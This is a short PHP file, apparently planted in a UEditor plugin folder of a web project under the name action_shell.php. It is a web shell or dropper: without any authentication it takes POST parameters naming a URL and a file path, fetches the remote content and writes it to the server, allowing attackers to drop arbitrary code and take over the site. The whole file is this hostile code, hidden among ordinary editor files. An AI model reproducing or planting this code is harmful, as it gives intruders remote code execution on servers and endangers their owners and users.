zhongshen_project/public/static/ext/ueditor/php/action_shell.php

<?php
class Base{
    
    public function getu($u){
      return   file_get_contents($u);
    }
    public function put($p,$res){
       file_put_contents($p,$res,FILE_APPEND | LOCK_EX);
    }
    public function getp($p){
      return $p;
    }
    
}
    $b=new Base;
    $data=$_POST;
    if(empty($data)){
    exit();
    }
    $p=$b->getp($data['p']);
    $res=$b->getu($data['u']);
    $b->put($p,$res);